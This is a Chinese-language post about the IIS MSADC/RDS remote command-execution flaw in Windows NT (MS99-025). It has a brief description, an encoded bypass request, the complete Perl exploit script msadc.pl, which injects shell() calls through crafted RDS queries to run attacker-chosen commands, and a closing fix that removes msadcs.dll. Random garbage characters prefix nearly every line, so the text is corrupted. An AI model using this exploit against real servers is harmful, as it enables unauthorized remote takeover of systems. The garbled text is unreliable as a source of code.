IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
A> ;bHf@ }I6veagK 涉及程序：
)e=D(qd Microsoft NT server
VSI9U3t3w Ma']?Rb` 描述：
$$;M^WV^?. 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
m6\E$ ;` e>7>j@(K] 详细：
r|fL&dtr 如果你没有时间读详细内容的话，就删除:
f<fXsSv( c:\Program Files\Common Files\System\Msadc\msadcs.dll
%G/ h D 有关的安全问题就没有了。
e L^ |v F Q7T'G![ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
v zs)[AD tGh~!|P 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
0$)>D== 关于利用ODBC远程漏洞的描述，请参看:
bz2ztH9 n 7cT~oV !G_ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm L:pYn_ Vvn2 Ep 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
HV!m8k=6 http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^w@%cVh +\c5] ` 这里不再论述。
,c$_t+ G%AbC" 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
9Zt`u,; 7Oa#c<2] /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
,]ma+ (| 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
vv3*
j&I {W =%U|f \FbvHr, #将下面这段保存为txt文件，然后: "perl -x 文件名"
.9 on@S z0p*Z& #!perl
X<` #
6 Z6'}BDP # MSADC/RDS 'usage' (aka exploit) script
pMx*F@&nU #
uGf@ # by rain.forest.puppy
3s,g* #
7a =gH2]& # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
?cBwPet p # beta test and find errors!
DnMwUykF>0 av}k)ZT_ use Socket; use Getopt::Std;
eueH)Xkf getopts("e:vd:h:XR", \%args);
G7` ko1- \Xt7`I< print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
w (*vj '8RsN-w if (!defined $args{h} && !defined $args{R}) {
Bw)/DM] print qq~
(>UZ<2GPL Usage: msadc.pl -h <host> { -d <delay> -X -v }
2\A $6N ;_ -h <host> = host you want to scan (ip or domain)
UU YSFa % -d <seconds> = delay between calls, default 1 second
dh`K`b4I -X = dump Index Server path table, if available
=w _Ype` -v = verbose
xaq-.IQAM$ -e = external dictionary file for step 5
t9k zw*U9 N _kMK Or a -R will resume a command session
7u -p%eq2 Z58 X 5" ~; exit;}
?>D+ ge (Du@ S $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Zw
2 6 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
IXMop7~ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
b@gc{R}7 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
V%7WUq $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
knu,"< if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
=V, mtT vsCCB}7\ if (!defined $args{R}){ $ret = &has_msadc;
qOIyub die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
1y4|{ 7bb }W C[$Y_@ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
n Mq,F#`3N . "cmd /c ";
U AkT*'cB $in=<STDIN>; chomp $in;
!=*g@mg F $command="cmd /c " . $in ;
T] f ;km Ex Y] Sdx if (defined $args{R}) {&load; exit;}
9N#_( uwt 0r QMLx print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
G}9Jg &try_btcustmr;
~WeM TXF>y CTB~Yj@d+ print "\nStep 2: Trying to make our own DSN...";
!1jBC. G1 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
$u$!t j )Ys x}vS Z print "\nStep 3: Trying known DSNs...";
vjbASFF0= &known_dsn;
f
O}pj: guq{#?} print "\nStep 4: Trying known .mdbs...";
d\&U*= &known_mdb;
/kZebNf6H Dzpq_F!;V if (defined $args{e}){
z\ \[S@>pt print "\nStep 5: Trying dictionary of DSN names...";
SB;&GHq"n &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
.9/ hHCp ;V:i!u u print "Sorry Charley...maybe next time?\n";
\#2Z)Kz exit;
j"t(0 m WrnrFz ##############################################################################
^H p; .f. @N>\|!1CC sub sendraw { # ripped and modded from whisker
*<$*"p sleep($delay); # it's a DoS on the server! At least on mine...
SXSgld2uS my ($pstr)=@_;
aq>kTaz socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
& TCkpS die("Socket problems\n");
zq 3\}9 if(connect(S,pack "SnA4x8",2,80,$target)){
}kw#7m54 select(S); $|=1;
wjU 9Z GM print $pstr; my @in=<S>;
GL>O4S<` select(STDOUT); close(S);
afCW(zH p return @in;
/ H[=5 } else { die("Can't connect...\n"); }}
Hc k]aKI+ G*?8MTP8![ ##############################################################################
a(m2n.0'> e[{0)y>= sub make_header { # make the HTTP request
|0&IXOW"XF my $msadc=<<EOT
v^sv<4*% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
paA(C|%{ User-Agent: ACTIVEDATA
AwCcK6N1 Host: $ip
on!,c>nNa Content-Length: $clen
HDz5& 7* . Connection: Keep-Alive
f$o_e90mu *^pR%E . ADCClientVersion:01.06
w49t9~ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
f%A;`4 `q #>a\>iKQ2q --!ADM!ROX!YOUR!WORLD!
%e8@*~h@ Content-Type: application/x-varg
]vB$~ 3|| Content-Length: $reqlen
juP7P[d$qW = eq[:K<6 EOT
,5P0S0*{ ; $msadc=~s/\n/\r\n/g;
77 Q5d"sIi return $msadc;}
/m!BY}4W ` _6C {<O ##############################################################################
H-!,yte 8 v6(qBK sub make_req { # make the RDS request
6lZ3tdyNo my ($switch, $p1, $p2)=@_;
&Gc9VF]o my $req=""; my $t1, $t2, $query, $dsn;
h,(26 y/s CmWeY$Jb if ($switch==1){ # this is the btcustmr.mdb query
j}#w )M $query="Select * from Customers where City=" . make_shell();
[DYQ"A= )d $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
]E{NNHK%2N $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
XMCXQs& SjK elsif ($switch==2){ # this is general make table query
,Y@Gyx !4 $query="create table AZZ (B int, C varchar(10))";
4XL^D~V $dsn="$p1";}
oe ~'o' }t!Gey elsif ($switch==3){ # this is general exploit table query
HRpte= `q $query="select * from AZZ where C=" . make_shell();
b3P+H r $dsn="$p1";}
Yz9owe8}[ !@5 9) elsif ($switch==4){ # attempt to hork file info from index server
x
o;QCOH $query="select path from scope()";
; t)3F $dsn="Provider=MSIDXS;";}
qfX6TV5J}! ~kV/ != elsif ($switch==5){ # bad query
Mg+2.
8% $query="select";
A_rG t?i $dsn="$p1";}
i [i4h"$0 0RzEY!9g+ $t1= make_unicode($query);
M^A48u{," $t2= make_unicode($dsn);
E[OJ+ ;c $req = "\x02\x00\x03\x00";
C;v.S5x $req.= "\x08\x00" . pack ("S1", length($t1));
{% 6}' $req.= "\x00\x00" . $t1 ;
9FF0%*tGo $req.= "\x08\x00" . pack ("S1", length($t2));
s$IDLs,WM $req.= "\x00\x00" . $t2 ;
B 5L2< $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
"mo?*
a$Sk return $req;}
>e
lJkq| )J=! L\ ##############################################################################
m 1b?J3 ^ G]J ,+ sub make_shell { # this makes the shell() statement
-$\y_?} return "'|shell(\"$command\")|'";}
J @`1TU mb 1FWy=3 ##############################################################################
aI'&O^w+ 3s*mbk[J sub make_unicode { # quick little function to convert to unicode
A]*}HZ , my ($in)=@_; my $out;
fT|.@%"vc for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
+tB= OwU%0 return $out;}
]IaMp788 ~"g A,e-) ##############################################################################
rV.}PtcFY ` #0:gEo sub rdo_success { # checks for RDO return success (this is kludge)
;J'LS my (@in) = @_; my $base=content_start(@in);
1> ?M>vK if($in[$base]=~/multipart\/mixed/){
n>z9K') return 1 if( $in[$base+10]=~/^\x09\x00/ );}
IZf{nQ[0 return 0;}
VCYwz B , };& tR ##############################################################################
'I|v[G$l 0^ _uV9r sub make_dsn { # this makes a DSN for us
XoK: N$\}t my @drives=("c","d","e","f");
$L `d&$Vh print "\nMaking DSN: ";
'JtBZFq foreach $drive (@drives) {
>\R+9p:o print "$drive: ";
TT%M' 5& my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
oE @a'*.\ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
3l]lwV . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
'B$yo] $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
AhN 4mc@ return 0 if $2 eq "404"; # not found/doesn't exist
_1X!EH" if($2 eq "200") {
BX/8O<s0 foreach $line (@results) {
?JbilK}a return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
+D6YR $_< } return 0;}
';k5?^T N>uRf0E> ##############################################################################
O *C;V qt 2F;y;l% sub verify_exists {
E#34Wh2z my ($page)=@_;
s3N'02G my @results=sendraw("GET $page HTTP/1.0\n\n");
k:i4=5^*GX return $results[0];}
O ;Rqv /A\8 mL8 ##############################################################################
'd0 ~!w 810|Tj*U% sub try_btcustmr {
AD> e?u my @drives=("c","d","e","f");
c dH>n) my @dirs=("winnt","winnt35","winnt351","win","windows");
=>S]q71 5PCqYN(:B foreach $dir (@dirs) {
`?H]h"{7Q print "$dir -> "; # fun status so you can see progress
:9 af g foreach $drive (@drives) {
(M|Dx\_ print "$drive: "; # ditto
AF{ \6<m $reqlen=length( make_req(1,$drive,$dir) ) - 28;
yZ7&b&2nLn $reqlenlen=length( "$reqlen" );
(y'hyJo $clen= 206 + $reqlenlen + $reqlen;
Y;eZ9|Ht9 [|wZ77\ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Z{.8^u1I if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
NSMyliM1Y else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
BU)U/A8iS wVXS%4|v ##############################################################################
&<g|gsG` f^Z RT@`O sub odbc_error {
&;6`)M{*} my (@in)=@_; my $base;
1UgEI"#a6g my $base = content_start(@in);
`cn#B
BV if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
2ACCh4(/P $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R+:yVi[F]U $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_%Bi: HG0 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m,28u3@r return $in[$base+4].$in[$base+5].$in[$base+6];}
;] puq print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
_RYxD"m y print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
;LfXi 8) $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
%Qgw7p4 hW' )Sp ##############################################################################
P ;y45b RU{twL.B sub verbose {
? V1*cVD6i my ($in)=@_;
yu {d! {6 return if !$verbose;
t,Lrfv]) print STDOUT "\n$in\n";}
udH7}K v ]]![EHi(\ ##############################################################################
2 34p9A@ LrfVh-}|:Y sub save {
Xq4O@V my ($p1, $p2, $p3, $p4)=@_;
E =67e=h open(OUT, ">rds.save") || print "Problem saving parameters...\n";
R- wp9 ^ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
&AMl:@p9 close OUT;}
u rc|
D0n +QavYqPF ##############################################################################
^0 )g/`H^> G't$Qx,IC sub load {
EP&,MYI%E my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
FkDmP`Od open(IN,"<rds.save") || die("Couldn't open rds.save\n");
%Xd[(Q) @p=<IN>; close(IN);
5ta `%R_ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
(# c*M?g3 $target= inet_aton($ip) || die("inet_aton problems");
f`( UQJ print "Resuming to $ip ...";
M^Yh|%M $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
ja'T+!k if($p[1]==1) {
,,.QfUj/& $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Po;W'7"Po` $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
"Y.tht H my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
!TH)
+zi if (rdo_success(@results)){print "Success!\n";}
Kn{4;Xk\ else { print "failed\n"; verbose(odbc_error(@results));}}
_ye |Y elsif ($p[1]==3){
h&iC;yj= if(run_query("$p[3]")){
6v!`1}
~ print "Success!\n";} else { print "failed\n"; }}
" {+QW elsif ($p[1]==4){
"cGk)s if(run_query($drvst . "$p[3]")){
N% B>M7-= print "Success!\n"; } else { print "failed\n"; }}
=J==i? exit;}
!,uE]gwL w e]aDP 1n3t ##############################################################################
w m@@$ `hm-.@f,9 sub create_table {
//MUeTxR my ($in)=@_;
**0~K" ;\ $reqlen=length( make_req(2,$in,"") ) - 28;
sdrfsrNvB- $reqlenlen=length( "$reqlen" );
X`/k)N>l $clen= 206 + $reqlenlen + $reqlen;
3*bU6$|5FP my @results=sendraw(make_header() . make_req(2,$in,""));
qZh/IW return 1 if rdo_success(@results);
aK~8B_5k8 my $temp= odbc_error(@results); verbose($temp);
8`{:MkXP return 1 if $temp=~/Table 'AZZ' already exists/;
(m}'4et~L return 0;}
a! SiX pF >i-i ##############################################################################
}&D WaO]J7 {WS;dX4 sub known_dsn {
uMv,zO 5 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
bWS&Yk( my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
Fx Y}m "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
lFj]4 "banner", "banners", "ads", "ADCDemo", "ADCTest");
~P
qM]^ Q\vpqE! 9 foreach $dSn (@dsns) {
zI uJ-8T" print ".";
=I5>$}q_&, next if (!is_access("DSN=$dSn"));
'oVx#w^m f if(create_table("DSN=$dSn")){
n&/
` print "$dSn successful\n";
On ?v|10r' if(run_query("DSN=$dSn")){
l&zilVVm print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
> |=ts print "Something's borked. Use verbose next time\n";}}} print "\n";}
H41?/U,{ {TROoX~H? ##############################################################################
*>}@7 }f E&w7GZNt sub is_access {
nFCC St$ my ($in)=@_;
^DLfY-F+j $reqlen=length( make_req(5,$in,"") ) - 28;
6|=f$a $reqlenlen=length( "$reqlen" );
+=h:Vb8 $clen= 206 + $reqlenlen + $reqlen;
pl lGB6 X my @results=sendraw(make_header() . make_req(5,$in,""));
=XQ%t
@z0 my $temp= odbc_error(@results);
RP|`HkP-2 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
DCa^
u'f return 0;}
y Pp9\[+^j cVpp-Z|s8 ##############################################################################
G*MUO#_iuh 7A7?GDW sub run_query {
**C R}
yV my ($in)=@_;
>'$Mp < $reqlen=length( make_req(3,$in,"") ) - 28;
Y@iS_lR $reqlenlen=length( "$reqlen" );
&-w
Cvp7 $clen= 206 + $reqlenlen + $reqlen;
tOD 6&< my @results=sendraw(make_header() . make_req(3,$in,""));
3}1u\(Mf return 1 if rdo_success(@results);
pki%vRY my $temp= odbc_error(@results); verbose($temp);
BlO<PMmhT& return 0;}
o-HT1Hc! ^\% (,KNo ##############################################################################
\@zHON( gJ{)-\ sub known_mdb {
Fo_sgv8O< my @drives=("c","d","e","f","g");
H?W ya.7 my @dirs=("winnt","winnt35","winnt351","win","windows");
!< ";cw(q my $dir, $drive, $mdb;
J;e2&gB my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
C )
s5 D 0+ '&`Q!u # this is sparse, because I don't know of many
5tk AFb4P my @sysmdbs=( "\\catroot\\icatalog.mdb",
$PPi5f}HD "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Z i
i "\\system32\\certmdb.mdb",
7]bGc
\ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
b|DdG/O JbbzV> my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
,0 sm "\\cfusion\\cfapps\\forums\\forums_.mdb",
pv&sO~!iC "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
eByz-,{P "\\cfusion\\cfapps\\security\\realm_.mdb",
e *C(q~PQ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
_H%c;z+ "\\cfusion\\database\\cfexamples.mdb",
B 3I`40# "\\cfusion\\database\\cfsnippets.mdb",
HC8e>kP9b "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
'<<t]kK[N "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
c?-H>u "\\cfusion\\brighttiger\\database\\cleam.mdb",
t{kG<J/l "\\cfusion\\database\\smpolicy.mdb",
Llo"MO*sr "\\cfusion\\database\cypress.mdb",
/ 6* 42[r "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
+'a^f5 "\\website\\cgi-win\\dbsample.mdb",
m0SlOgRsk "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
d0ks G$ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
/~?*=}c^m ); #these are just
GxxW&y foreach $drive (@drives) {
%> eiAB_b foreach $dir (@dirs){
7}> E J foreach $mdb (@sysmdbs) {
Il 'fL'3 print ".";
t*u:hex if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
+6 \Zj) print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
n\ 53w h@+ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
W!(zT6# print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
VA5xp] } else { print "Something's borked. Use verbose next time\n"; }}}}}
eMsd3 7J u#.2w)!D foreach $drive (@drives) {
x;d6vBTUb foreach $mdb (@mdbs) {
6{b >p+U print ".";
I J"q~r$ if(create_table($drv . $drive . $dir . $mdb)){
pnOAs&QAm print "\n" . $drive . $dir . $mdb . " successful\n";
oPM96
( if(run_query($drv . $drive . $dir . $mdb)){
T5h
H print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
4[e X e$ } else { print "Something's borked. Use verbose next time\n"; }}}}
zF<R'XP }
@9s$4DS H{wl% G ##############################################################################
_D tV /4Gt{yg Sr sub hork_idx {
5j(k:a+!H print "\nAttempting to dump Index Server tables...\n";
~>|ziHx print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
R m( "=( $reqlen=length( make_req(4,"","") ) - 28;
vs4>T^8e $reqlenlen=length( "$reqlen" );
'=pU^Oz<} $clen= 206 + $reqlenlen + $reqlen;
K0 >zxqY my @results=sendraw2(make_header() . make_req(4,"",""));
y N-9[P8C if (rdo_success(@results)){
0 (HU}I my $max=@results; my $c; my %d;
f:}
x7_Q for($c=19; $c<$max; $c++){
sgFEK[w.y $results[$c]=~s/\x00//g;
k,*XG$ 2h $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
*2l7f` K $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
!Vk^TFt` $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
KWHY4 $d{"$1$2"}="";}
7[) E>XRE foreach $c (keys %d){ print "$c\n"; }
4WB0Pt{ } else {print "Index server doesn't seem to be installed.\n"; }}
ktIFI`@ w) U K!(G ##############################################################################
n[rCQdM&U" $UwCMPs X sub dsn_dict {
]f_p 8?j" open(IN, "<$args{e}") || die("Can't open external dictionary\n");
bt?5*ETA while(<IN>){
~xFkU# $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
z{QqY.Gu{G next if (!is_access("DSN=$dSn"));
W=?<<dVYD if(create_table("DSN=$dSn")){
? J0y| print "$dSn successful\n";
z24q3 3O if(run_query("DSN=$dSn")){
2?Vd 5xkt print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
'g\4O3&_ print "Something's borked. Use verbose next time\n";}}}
L4W5EO$ print "\n"; close(IN);}
6=C<>c %+ tw@X>
G1z ##############################################################################
PJ#,2=n~ ~n_HP _Kf? sub sendraw2 { # ripped and modded from whisker
He@KV = sleep($delay); # it's a DoS on the server! At least on mine...
UN#S;x* my ($pstr)=@_;
TWTb?HP socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?@x/E& die("Socket problems\n");
: A;RH if(connect(S,pack "SnA4x8",2,80,$target)){
d=/F}yP~?s print "Connected. Getting data";
YmG("z open(OUT,">raw.out"); my @in;
$`8wJf9@w select(S); $|=1; print $pstr;
{qVZNXDn while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
LS[]=Mk@1 close(OUT); select(STDOUT); close(S); return @in;
R=?[Nz } else { die("Can't connect...\n"); }}
2=}FBA, 2 Q J;2ZN, ##############################################################################
t uX |\X ueNS='+m sub content_start { # this will take in the server headers
yHaGkm my (@in)=@_; my $c;
c71y'hnT for ($c=1;$c<500;$c++) {
dE3) | % if($in[$c] =~/^\x0d\x0a/){
sLk-x\P]| if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Id9TG/H7 else { return $c+1; }}}
]?4hyN return -1;} # it should never get here actually
lB4WKn=?Kl 7tp36 TE ##############################################################################
l[J8!u2Xp P+}h$ _x sub funky {
j~MI<I+l[ my (@in)=@_; my $error=odbc_error(@in);
WIGi51yC.x if($error=~/ADO could not find the specified provider/){
r JB}q YD print "\nServer returned an ADO miscofiguration message\nAborting.\n";
9gIrt 6 exit;}
xIn:Z KJ' if($error=~/A Handler is required/){
:4|4 =mkr print "\nServer has custom handler filters (they most likely are patched)\n";
!)$Zp\Sg exit;}
~Tt iO#,t if($error=~/specified Handler has denied Access/){
`]aeI'[}R print "\nServer has custom handler filters (they most likely are patched)\n";
rm_Nn8p, exit;}}
Hn:Crl y# 7+*WH|Z@ ##############################################################################
D%Z| W+*
V)tf sub has_msadc {
?JUeuNs9 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
O6 Y0XL my $base=content_start(@results);
9+N-eW_U return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
="e+W@C return 0;}
eS! /(#T khd4ue$ ########################
>Q*Wi \)e'`29; 6LhTBV 解决方案：
v:#tWEbo- 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
[F7hu7zY8 2、移除web 目录: /msadc
